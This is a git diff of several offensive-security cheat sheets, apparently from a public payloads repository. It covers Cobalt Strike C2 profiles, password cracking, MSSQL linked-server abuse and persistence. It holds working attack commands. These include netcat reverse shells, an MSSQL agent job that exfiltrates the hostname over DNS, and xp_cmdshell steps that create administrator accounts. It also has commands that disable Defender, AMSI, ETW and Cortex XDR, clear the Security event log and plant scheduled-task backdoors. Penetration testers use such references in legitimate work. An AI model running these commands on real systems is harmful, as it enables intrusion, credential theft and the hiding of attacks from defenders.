header "Cache-Control" "no-cache";
metadata {
netbios;
append "-.jpg";
uri-append;
}
}
server {
header "Content-Type" "img/jpg";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";
output {
base64;
print;
}
}
}
http-post {
set uri "/history/";
client {
header "Content-Type" "application/octet-stream";
header "Referer" "http://www.google.com";
header "Pragma" "no-cache";
header "Cache-Control" "no-cache";
id {
netbiosu;
append ".asp";
uri-append;
}
output {
base64;
print;
}
}
server {
header "Content-Type" "img/jpg";
header "Server" "Microsoft-IIS/6.0";
header "X-Powered-By" "ASP.NET";
output {
base64;
print;
}
}
}
```
* A result of 0 is returned if c2lint completes with no errors
* A result of 1 is returned if c2lint completes with only warnings
* A result of 2 is returned if c2lint completes with only errors
* A result of 3 is returned if c2lint completes with both errors and warning
## Files
@ -474,6 +422,32 @@ Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 :
* Load the mimikatz.cna aggressor script
* Use mimikatz functions as normal
### Sleep Mask Kit
> The Sleep Mask Kit is the source code for the sleep mask function that is executed to obfuscate Beacon, in memory, prior to sleeping.
Use the included `build.sh` or `build.bat` script to build the Sleep Mask Kit on Kali Linux or Microsoft Windows. The script builds the sleep mask object file for the three types of Beacons (default, SMB, and TCP) on both x86 and x64 architectures in the sleepmask directory. The default type supports HTTP, HTTPS, and DNS Beacons.
## Beacon Object Files
> A BOF is just a block of position-independent code that receives pointers to some Beacon internal APIs
Example: https://github.com/Cobalt-Strike/bof_template/blob/main/beacon.h
* Compile
```ps1
# To compile this with Visual Studio:
cl.exe /c /GS- hello.c /Fohello.o
# To compile this with x86 MinGW:
i686-w64-mingw32-gcc -c hello.c -o hello.o
# To compile this with x64 MinGW:
x86_64-w64-mingw32-gcc -c hello.c -o hello.o
```
* Execute: `inline-execute /path/to/hello.o`
## NTLM Relaying via Cobalt Strike
```powershell
@ -500,4 +474,6 @@ beacon> PortBender redirect 445 8445
* [TALES OF A RED TEAMER: HOW TO SETUP A C2 INFRASTRUCTURE FOR COBALT STRIKE UB 2018 - NOV 25 2018](https://holdmybeersecurity.com/2018/11/25/tales-of-a-red-teamer-how-to-setup-a-c2-infrastructure-for-cobalt-strike-ub-2018/)
* [Cobalt Strike - DNS Beacon](https://www.cobaltstrike.com/help-dns-beacon)
* [How to Write Malleable C2 Profiles for Cobalt Strike - January 24, 2017](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/)
* [NTLM Relaying via Cobalt Strike - July 29, 2021 - Rasta Mouse](https://rastamouse.me/ntlm-relaying-via-cobalt-strike/)
* [NTLM Relaying via Cobalt Strike - July 29, 2021 - Rasta Mouse](https://rastamouse.me/ntlm-relaying-via-cobalt-strike/)
* [Cobalt Strike - User Guide](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm)
* [Cobalt Strike 4.5 - User Guide PDF](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf)

View File

@ -5,7 +5,7 @@
* [Hashcat](https://hashcat.net/hashcat/)
* [Hashcat Example Hashes](https://hashcat.net/wiki/doku.php?id=example_hashes)
* [Hashcat Install](#hashcat-install)
* [Brute-Force](#brute-force)
* [Mask attack](#mask-attack)
* [Dictionary](#dictionary)
* [John](https://github.com/openwall/john)
* [Usage](#john-usage)
@ -25,8 +25,40 @@ apt install checkinstall git -y
git clone https://github.com/hashcat/hashcat.git && cd hashcat && make -j 8 && make install
```
1. Extract the hash
2. Get the hash format: https://hashcat.net/wiki/doku.php?id=example_hashes
3. Establish a cracking stratgy based on hash format (ex: wordlist -> wordlist + rules -> mask -> combinator mode -> prince attack -> ...)
4. Enjoy plains
5. Review strategy
6. Start over
### Brute-Force
### Dictionary
> Every word of a given list (a.k.a. dictionary) is hashed and compared against the target hash.
```powershell
hashcat --attack-mode 0 --hash-type $number $hashes_file $wordlist_file -r $my_rules
```
* Wordlists
* [packetstorm](https://packetstormsecurity.com/Crackers/wordlists/)
* [weakpass_3a](https://download.weakpass.com/wordlists/1948/weakpass_3a.7z)
* [weakpass_3](https://download.weakpass.com/wordlists/1947/weakpass_3.7z)
* [Hashes.org](https://download.weakpass.com/wordlists/1931/Hashes.org.7z)
* [kerberoast_pws](https://gist.github.com/edermi/f8b143b11dc020b854178d3809cf91b5/raw/b7d83af6a8bbb43013e04f78328687d19d0cf9a7/kerberoast_pws.xz)
* [hashmob.net](https://hashmob.net/research/wordlists)
* [clem9669/wordlists](https://github.com/clem9669/wordlists)
* Rules
* [One Rule to Rule Them All](https://notsosecure.com/one-rule-to-rule-them-all/)
* [nsa-rules](https://github.com/NSAKEY/nsa-rules)
* [hob064](https://raw.githubusercontent.com/praetorian-inc/Hob0Rules/master/hob064.rule)
* [d3adhob0](https://raw.githubusercontent.com/praetorian-inc/Hob0Rules/master/d3adhob0.rule)
* [clem9669/hashcat-rule](https://github.com/clem9669/hashcat-rule)
### Mask attack
Mask attack is an attack mode which optimize brute-force.
> Every possibility for a given character set and a given length (i.e. aaa, aab, aac, ...) is hashed and compared against the target hash.
@ -71,25 +103,7 @@ hashcat --attack-mode 3 --custom-charset1 "?u" --custom-charset2 "?l?u?d" --cust
| ?a | ?l?u?d?s |
| ?b | 0x00 - 0xff |
### Dictionary
> Every word of a given list (a.k.a. dictionary) is hashed and compared against the target hash.
```powershell
hashcat --attack-mode 0 --hash-type $number $hashes_file $wordlist_file
```
* Wordlists
* [packetstorm](https://packetstormsecurity.com/Crackers/wordlists/)
* [weakpass_3a](https://download.weakpass.com/wordlists/1948/weakpass_3a.7z)
* [weakpass_3](https://download.weakpass.com/wordlists/1947/weakpass_3.7z)
* [Hashes.org](https://download.weakpass.com/wordlists/1931/Hashes.org.7z)
* [kerberoast_pws](https://gist.github.com/edermi/f8b143b11dc020b854178d3809cf91b5/raw/b7d83af6a8bbb43013e04f78328687d19d0cf9a7/kerberoast_pws.xz)
* Rules
* [One Rule to Rule Them All](https://notsosecure.com/one-rule-to-rule-them-all/)
* [nsa-rules](https://github.com/NSAKEY/nsa-rules)
* [hob064](https://raw.githubusercontent.com/praetorian-inc/Hob0Rules/master/hob064.rule)
* [d3adhob0](https://raw.githubusercontent.com/praetorian-inc/Hob0Rules/master/d3adhob0.rule)
## John
@ -103,6 +117,9 @@ john passwd
# Use a specific wordlist
john --wordlist=<wordlist> passwd
# Use a specific wordlist with rules
john --wordlist=<wordlist> passwd --rules=Jumbo
# Show cracked passwords
john --show passwd
@ -127,16 +144,20 @@ john --restore
* [How To Build A Password Cracking Rig - 5000$](https://www.netmux.com/blog/how-to-build-a-password-cracking-rig)
* Online cracking
* [Hashes.com](https://hashes.com/en/decrypt/hash)
* [hashmob.net](https://hashmob.net/): great community with Discord
* Use the `loopback` in combination with rules and dictionary to keep cracking until you don't find new passsword: `hashcat --loopback --attack-mode 0 --rules-file $rules_file --hash-type $number $hashes_file $wordlist_file`
## Online Cracking Resources
* [hashes.com](https://hashes.com)
* ~~[hashes.com](https://hashes.com)~~
* [crackstation](https://crackstation.net)
* [Hashmob](https://hashmob.net/)
## References
* [Cracking - The Hacker Recipes](https://www.thehacker.recipes/ad-ds/movement/credentials/cracking)
* [Using Hashcat to Crack Hashes on Azure](https://durdle.com/2017/04/23/using-hashcat-to-crack-hashes-on-azure/)
* [miloserdov.org hashcat](https://miloserdov.org/?p=5426&PageSpeed=noscript)
* [miloserdov.org john](https://miloserdov.org/?p=4961&PageSpeed=noscript)

View File

@ -54,11 +54,11 @@
There are many scripts that you can execute on a linux machine which automatically enumerate sytem information, processes, and files to locate privilege escelation vectors.
Here are a few:
- [LinPEAS - Linux Privilege Escalation Awesome Script](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
- [LinPEAS - Linux Privilege Escalation Awesome Script](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
```powershell
wget "https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh" -O linpeas.sh
curl "https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh" -o linpeas.sh
wget "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -O linpeas.sh
curl "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -o linpeas.sh
./linpeas.sh -a #all checks - deeper system enumeration, but it takes longer to complete.
./linpeas.sh -s #superfast & stealth - This will bypass some time consuming checks. In stealth mode Nothing will be written to the disk.
./linpeas.sh -P #Password - Pass a password that will be used with sudo -l and bruteforcing other users

View File

@ -14,6 +14,8 @@
* [Gather 5 Entries from a Specific Table](#gather-5-entries-from-a-specific-table)
* [Dump common information from server to files](#dump-common-information-from-server-to-files)
* [Linked Database](#linked-database)
* [Find Trusted Link](#find-trusted-link)
* [Execute Query Through The Link](#execute-query-through-the-link)
* [Crawl Links for Instances in the Domain](#crawl-links-for-instances-in-the-domain)
* [Crawl Links for a Specific Instance](#crawl-links-for-a-specific-instance)
* [Query Version of Linked Database](#query-version-of-linked-database)
@ -22,7 +24,7 @@
* [Determine All the Tables Names from a Selected Linked Database](#determine-all-the-tables-names-from-a-selected-linked-database)
* [Gather the Top 5 Columns from a Selected Linked Table](#gather-the-top-5-columns-from-a-selected-linked-table)
* [Gather Entries from a Selected Linked Column](#gather-entries-from-a-selected-linked-column)
* [Command Execution via xp_cmdshell](#command-execution-via-xp_cmdshell)
* [Command Execution via xp_cmdshell](#command-execution-via-xp_cmdshell)
* [Extended Stored Procedure](#extended-stored-procedure)
* [Add the extended stored procedure and list extended stored procedures](#add-the-extended-stored-procedure-and-list-extended-stored-procedures)
* [CLR Assemblies](#clr-assemblies)
@ -54,6 +56,7 @@
* [Find SQL Server Logins Which can be Impersonated for the Current Database](#find-sql-server-logins-which-can-be-impersonated-for-the-current-database)
* [Exploiting Impersonation](#exploiting-impersonation)
* [Exploiting Nested Impersonation](#exploiting-nested-impersonation)
* [MSSQL Accounts and Hashes](#mssql-accounts-and-hashes)
* [References](#references)
## Identify Instances and Databases
@ -129,6 +132,31 @@ Invoke-SQLDumpInfo -Verbose -Instance SQLSERVER1\Instance1 -csv
## Linked Database
### Find Trusted Link
```sql
select * from master..sysservers
```
### Execute Query Through The Link
```sql
-- execute query through the link
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');
-- chain multiple openquery
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
-- execute shell commands
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
-- create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
```
### Crawl Links for Instances in the Domain
A Valid Link Will Be Identified by the DatabaseLinkName Field in the Results
@ -194,28 +222,63 @@ Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openque
```
### Command Execution via xp_cmdshell
## Command Execution via xp_cmdshell
> xp_cmdshell disabled by default since SQL Server 2005
```ps1
Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command whoami
Creates and adds local user backup to the local administrators group:
Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net user backup Password1234 /add' -Verbose
Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net localgroup administrators backup /add" -Verbose
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command whoami
# Creates and adds local user backup to the local administrators group:
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net user backup Password1234 /add'" -Verbose
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net localgroup administrators backup /add" -Verbose
```
* Manually execute the SQL query
```sql
EXEC xp_cmdshell "net user";
EXEC master..xp_cmdshell 'whoami'
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
```
* If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
```sql
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
```
* If the procedure was uninstalled
```sql
sp_addextendedproc 'xp_cmdshell','xplog70.dll'
```
## Extended Stored Procedure
### Add the extended stored procedure and list extended stored procedures
```ps1
# Create evil DLL
Create-SQLFileXpDll -OutFile C:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test
# Load the DLL and call xp_test
Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "sp_addextendedproc 'xp_test', '\\10.10.0.1\temp\test.dll'"
Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "EXEC xp_test"
# Listing existing
Get-SQLStoredProcedureXP -Instance "<DBSERVERNAME\DBInstance>" -Verbose
```
* Build a DLL using [xp_evil_template.cpp](https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/xp_evil_template.cpp)
* Load the DLL
```sql
-- can also be loaded from UNC path or Webdav
sp_addextendedproc 'xp_calc', 'C:\mydll\xp_calc.dll'
EXEC xp_calc
sp_dropextendedproc 'xp_calc'
```
## CLR Assemblies
Prerequisites:
@ -321,6 +384,8 @@ GO
## OLE Automation
* :warning: Disabled by default
### Execute commands using OLE automation procedures
```ps1
@ -340,6 +405,17 @@ EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'
```
```powershell
# https://github.com/blackarrowsec/mssqlproxy/blob/master/mssqlclient.py
python3 mssqlclient.py 'host/username:password@10.10.10.10' -install -clr Microsoft.SqlServer.Proxy.dll
python3 mssqlclient.py 'host/username:password@10.10.10.10' -check -reciclador 'C:\windows\temp\reciclador.dll'
python3 mssqlclient.py 'host/username:password@10.10.10.10' -start -reciclador 'C:\windows\temp\reciclador.dll'
SQL> enable_ole
SQL> upload reciclador.dll C:\windows\temp\reciclador.dll
```
## Agent Jobs
### Execute commands through SQL Agent Job service
@ -353,9 +429,22 @@ Subsystem Options:
Subsystem Jscript
```
```sql
USE msdb;
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1';
EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'$name=$env:COMPUTERNAME[10];nslookup "$name.redacted.burpcollaborator.net"', @retry_attempts = 1, @retry_interval = 5 ;
EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1';
EXEC dbo.sp_start_job N'test_powershell_job1';
-- delete
EXEC dbo.sp_delete_job @job_name = N'test_powershell_job1';
```
### List All Jobs
```ps1
SELECT job_id, [name] FROM msdb.dbo.sysjobs;
SELECT job.job_id, notify_level_email, name, enabled, description, step_name, command, server, database_name FROM msdb.dbo.sysjobs job INNER JOIN msdb.dbo.sysjobsteps steps ON job.job_id = steps.job_id
Get-SQLAgentJob -Instance "<DBSERVERNAME\DBInstance>" -username sa -Password Password1234 -Verbose
```
@ -526,8 +615,30 @@ SELECT ORIGINAL_LOGIN()
SELECT SYSTEM_USER
```
### MSSQL Accounts and Hashes
```sql
MSSQL 2000:
SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)
MSSQL 2005
SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
```
Then crack passwords using Hashcat : `hashcat -m 1731 -a 0 mssql_hashes_hashcat.txt /usr/share/wordlists/rockyou.txt --force`
```ps1
131 MSSQL (2000) 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578
132 MSSQL (2005) 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe
1731 MSSQL (2012, 2014) 0x02000102030434ea1b17802fd95ea6316bd61d2c94622ca3812793e8fb1672487b5c904a45a31b2ab4a78890d563d2fcf5663e46fe797d71550494be50cf4915d3f4d55ec375
```
## References
* [PowerUpSQL Cheat Sheet & SQL Server Queries - Leo Pitt](https://medium.com/@D00MFist/powerupsql-cheat-sheet-sql-server-queries-40e1c418edc3)
* [PowerUpSQL Cheat Sheet - Scott Sutherland](https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet)
* [Attacking SQL Server CLR Assemblies - Scott Sutherland - July 13th, 2017](https://blog.netspi.com/attacking-sql-server-clr-assemblies/)
* [Attacking SQL Server CLR Assemblies - Scott Sutherland - July 13th, 2017](https://blog.netspi.com/attacking-sql-server-clr-assemblies/)
* [MSSQL Agent Jobs for Command Execution - Nicholas Popovich - September 21, 2016](https://www.optiv.com/explore-optiv-insights/blog/mssql-agent-jobs-command-execution)

View File

@ -14,4 +14,14 @@ $ wall "Stop messing with the XXX service !"
$ wall -n "System will go down for 2 hours maintenance at 13:00 PM" # "-n" only for root
$ who
$ write root pts/2 # press Ctrl+D after typing the message.
```
## CrackMapExec Credential Database
```ps1
cmedb (default) > workspace create test
cmedb (test) > workspace default
cmedb (test) > proto smb
cmedb (test)(smb) > creds
cmedb (test)(smb) > export creds csv /tmp/creds
```

View File

@ -8,7 +8,7 @@
* [Local Port Forwarding](#local-port-forwarding)
* [Remote Port Forwarding](#remote-port-forwarding)
* [Proxychains](#proxychains)
* [Graphtcp](#graphtcp)
* [Graftcp](#graftcp)
* [Web SOCKS - reGeorg](#web-socks---regeorg)
* [Web SOCKS - pivotnacci](#web-socks---pivotnacci)
* [Metasploit](#metasploit)
@ -82,17 +82,43 @@ socks4 localhost 8080
Set the SOCKS4 proxy then `proxychains nmap -sT 192.168.5.6`
## Graphtcp
## Graftcp
Same as proxychains, with another mechanism to "proxify" which allow Go applications.
> A flexible tool for redirecting a given program's TCP traffic to SOCKS5 or HTTP proxy.
```powershell
git clone https://github.com/hmgle/graftcp.git
cd graftcp && make
graftcp-local/graftcp-local
./graftcp chromium-browser
:warning: Same as proxychains, with another mechanism to "proxify" which allow Go applications.
```ps1
# https://github.com/hmgle/graftcp
# Create a SOCKS5, using Chisel or another tool and forward it through SSH
(attacker) $ ssh -fNT -i /tmp/id_rsa -L 1080:127.0.0.1:1080 root@IP_VPS
(vps) $ ./chisel server --tls-key ./key.pem --tls-cert ./cert.pem -p 8443 -reverse
(victim 1) $ ./chisel client --tls-skip-verify https://IP_VPS:8443 R:socks
# Run graftcp and specify the SOCKS5
(attacker) $ graftcp-local -listen :2233 -logfile /tmp/toto -loglevel 6 -socks5 127.0.0.1:1080
(attacker) $ graftcp ./nuclei -u http://172.16.1.24
```
Simple configuration file for graftcp
```py
# https://github.com/hmgle/graftcp/blob/master/local/example-graftcp-local.conf
## Listen address (default ":2233")
listen = :2233
loglevel = 1
## SOCKS5 address (default "127.0.0.1:1080")
socks5 = 127.0.0.1:1080
# socks5_username = SOCKS5USERNAME
# socks5_password = SOCKS5PASSWORD
## Set the mode for select a proxy (default "auto")
select_proxy_mode = auto
```
## Web SOCKS - reGeorg
[reGeorg](https://github.com/sensepost/reGeorg), the successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.
@ -206,8 +232,11 @@ $ sshuttle -vvr root@10.10.10.10 10.1.1.0/24 -e "ssh -i ~/.ssh/id_rsa"
go get -v github.com/jpillora/chisel
# forward port 389 and 88 to hacker computer
user@victim$ .\chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389
user@hacker$ /opt/chisel/chisel server -p 8008 --reverse
user@victim$ .\chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389
# SOCKS
user@victim$ .\chisel.exe client YOUR_IP:8008 R:socks
```
### SharpChisel

View File

@ -2,6 +2,7 @@
## Summary
* [Tools](#tools)
* [Reverse Shell](#reverse-shell)
* [Awk](#awk)
* [Automatic Reverse Shell Generator](#revshells)
@ -39,6 +40,11 @@
* [Spawn TTY Shell](#spawn-tty-shell)
* [References](#references)
## Tools
- [reverse-shell-generator](https://www.revshells.com/) - Hosted Reverse Shell generator ([source](https://github.com/0dayCTF/reverse-shell-generator)) ![image](https://user-images.githubusercontent.com/44453666/115149832-d6a75980-a033-11eb-9c50-56d4ea8ca57c.png)
- [revshellgen](https://github.com/t0thkr1s/revshellgen) - CLI Reverse Shell generator
## Reverse Shell
### Bash TCP
@ -202,13 +208,13 @@ nc -c bash 10.0.0.1 4242
### Netcat OpenBsd
```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
```
### Netcat BusyBox
```bash
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
```
### Ncat
@ -434,12 +440,6 @@ main() {
}
```
## RevShells
https://www.revshells.com/
![image](https://user-images.githubusercontent.com/44453666/115149832-d6a75980-a033-11eb-9c50-56d4ea8ca57c.png)
## Meterpreter Shell
### Windows Staged reverse TCP

View File

@ -4,8 +4,11 @@
* [Tools](#tools)
* [Hide Your Binary](#hide-your-binary)
* [Disable Windows Defender](#disable-windows-defender)
* [Disable Windows Firewall](#disable-windows-firewall)
* [Disable Antivirus and Security](#disable-antivirus-and-security)
* [Antivirus Removal](#antivirus-removal)
* [Disable Windows Defender](#disable-windows-defender)
* [Disable Windows Firewall](#disable-windows-firewall)
* [Clear System and Security Logs](#clear-system-and-security-logs)
* [Simple User](#simple-user)
* [Registry HKCU](#registry-hkcu)
* [Startup](#startup)
@ -18,6 +21,7 @@
* [Registry HKLM](#registry-hklm)
* [Winlogon Helper DLL](#)
* [GlobalFlag](#)
* [Startup Elevated](#startup-elevated)
* [Services Elevated](#services-elevated)
* [Scheduled Tasks Elevated](#scheduled-tasks-elevated)
* [Binary Replacement](#binary-replacement)
@ -28,6 +32,10 @@
* [sethc.exe](#sethc.exe)
* [Remote Desktop Services Shadowing](#remote-desktop-services-shadowing)
* [Skeleton Key](#skeleton-key)
* [Virtual Machines](#virtual-machines)
* [Domain](#domain)
* [Golden Certificate](#golden-certificate)
* [Golden Ticket](#golden-ticket)
* [References](#references)
@ -43,7 +51,42 @@
PS> attrib +h mimikatz.exe
```
## Disable Windows Defender
## Disable Antivirus and Security
### Antivirus Removal
* [Sophos Removal Tool.ps1](https://github.com/ayeskatalas/Sophos-Removal-Tool/)
* [Symantec CleanWipe](https://knowledge.broadcom.com/external/article/178870/download-the-cleanwipe-removal-tool-to-u.html)
* [Elastic EDR/Security](https://www.elastic.co/guide/en/fleet/current/uninstall-elastic-agent.html)
```ps1
cd "C:\Program Files\Elastic\Agent\"
PS C:\Program Files\Elastic\Agent> .\elastic-agent.exe uninstall
Elastic Agent will be uninstalled from your system at C:\Program Files\Elastic\Agent. Do you want to continue? [Y/n]:Y
Elastic Agent has been uninstalled.
```
* [Cortex XDR](https://mrd0x.com/cortex-xdr-analysis-and-bypass/)
```ps1
# Global uninstall password: Password1
Password hash is located in C:\ProgramData\Cyvera\LocalSystem\Persistence\agent_settings.db
Look for PasswordHash, PasswordSalt or password, salt strings.
# Disable Cortex: Change the DLL to a random value, then REBOOT
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CryptSvc\Parameters /t REG_EXPAND_SZ /v ServiceDll /d nothing.dll /f
# Disables the agent on startup (requires reboot to work)
cytool.exe startup disable
# Disables protection on Cortex XDR files, processes, registry and services
cytool.exe protect disable
# Disables Cortex XDR (Even with tamper protection enabled)
cytool.exe runtime disable
# Disables event collection
cytool.exe event_collection disable
```
### Disable Windows Defender
```powershell
# Disable Defender
@ -51,17 +94,31 @@ sc config WinDefend start= disabled
sc stop WinDefend
Set-MpPreference -DisableRealtimeMonitoring $true
# Wipe currently stored definitions
# Location of MpCmdRun.exe: C:\ProgramData\Microsoft\Windows Defender\Platform\<antimalware platform version>
MpCmdRun.exe -RemoveDefinitions -All
## Exclude a process / location
Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
Add-MpPreference -ExclusionProcess 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
Add-MpPreference -ExclusionPath C:\Video, C:\install
# Disable scanning all downloaded files and attachments, disable AMSI (reactive)
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
PS C:\> Set-MpPreference -DisableIOAVProtection $true
# Disable AMSI (set to 0 to enable)
PS C:\> Set-MpPreference -DisableScriptScanning 1
# Blind ETW Windows Defender: zero out registry values corresponding to its ETW sessions
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
# Wipe currently stored definitions
# Location of MpCmdRun.exe: C:\ProgramData\Microsoft\Windows Defender\Platform\<antimalware platform version>
MpCmdRun.exe -RemoveDefinitions -All
# Remove signatures (if Internet connection is present, they will be downloaded again):
PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```
## Disable Windows Firewall
### Disable Windows Firewall
```powershell
Netsh Advfirewall show allprofiles
@ -71,6 +128,13 @@ NetSh Advfirewall set allprofiles state off
New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP
```
### Clear System and Security Logs
```powershell
cmd.exe /c wevtutil.exe cl System
cmd.exe /c wevtutil.exe cl Security
```
## Simple User
Set a file as hidden
@ -122,36 +186,38 @@ SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -
### Scheduled Tasks User
Using native **schtask**
* Using native **schtask** - Create a new task
```powershell
# Create the scheduled tasks to run once at 00.00
schtasks /create /sc ONCE /st 00:00 /tn "Device-Synchronize" /tr C:\Temp\revshell.exe
# Force run it now !
schtasks /run /tn "Device-Synchronize"
```
* Using native **schtask** - Leverage the `schtasks /change` command to modify existing scheduled tasks
```powershell
# Launch an executable by calling the ShellExec_RunDLL function.
SCHTASKS /Change /tn "\Microsoft\Windows\PLA\Server Manager Performance Monitor" /TR "C:\windows\system32\rundll32.exe SHELL32.DLL,ShellExec_RunDLLA C:\windows\system32\msiexec.exe /Z c:\programdata\S-1-5-18.dat" /RL HIGHEST /RU "" /ENABLE
```
```powershell
# Create the scheduled tasks to run once at 00.00
schtasks /create /sc ONCE /st 00:00 /tn "Device-Synchronize" /tr C:\Temp\revshell.exe
# Force run it now !
schtasks /run /tn "Device-Synchronize"
```
* Using Powershell
```powershell
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
PS C:\> $S = New-ScheduledTaskSettingsSet
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
```
Using Powershell
* Using SharPersist
```powershell
# Add to a current scheduled task
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
```powershell
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
PS C:\> $S = New-ScheduledTaskSettingsSet
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
```
Using SharPersist
```powershell
# Add to a current scheduled task
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
# Add new task
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
```
# Add new task
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
```
### BITS Jobs
@ -235,6 +301,13 @@ reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\not
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"
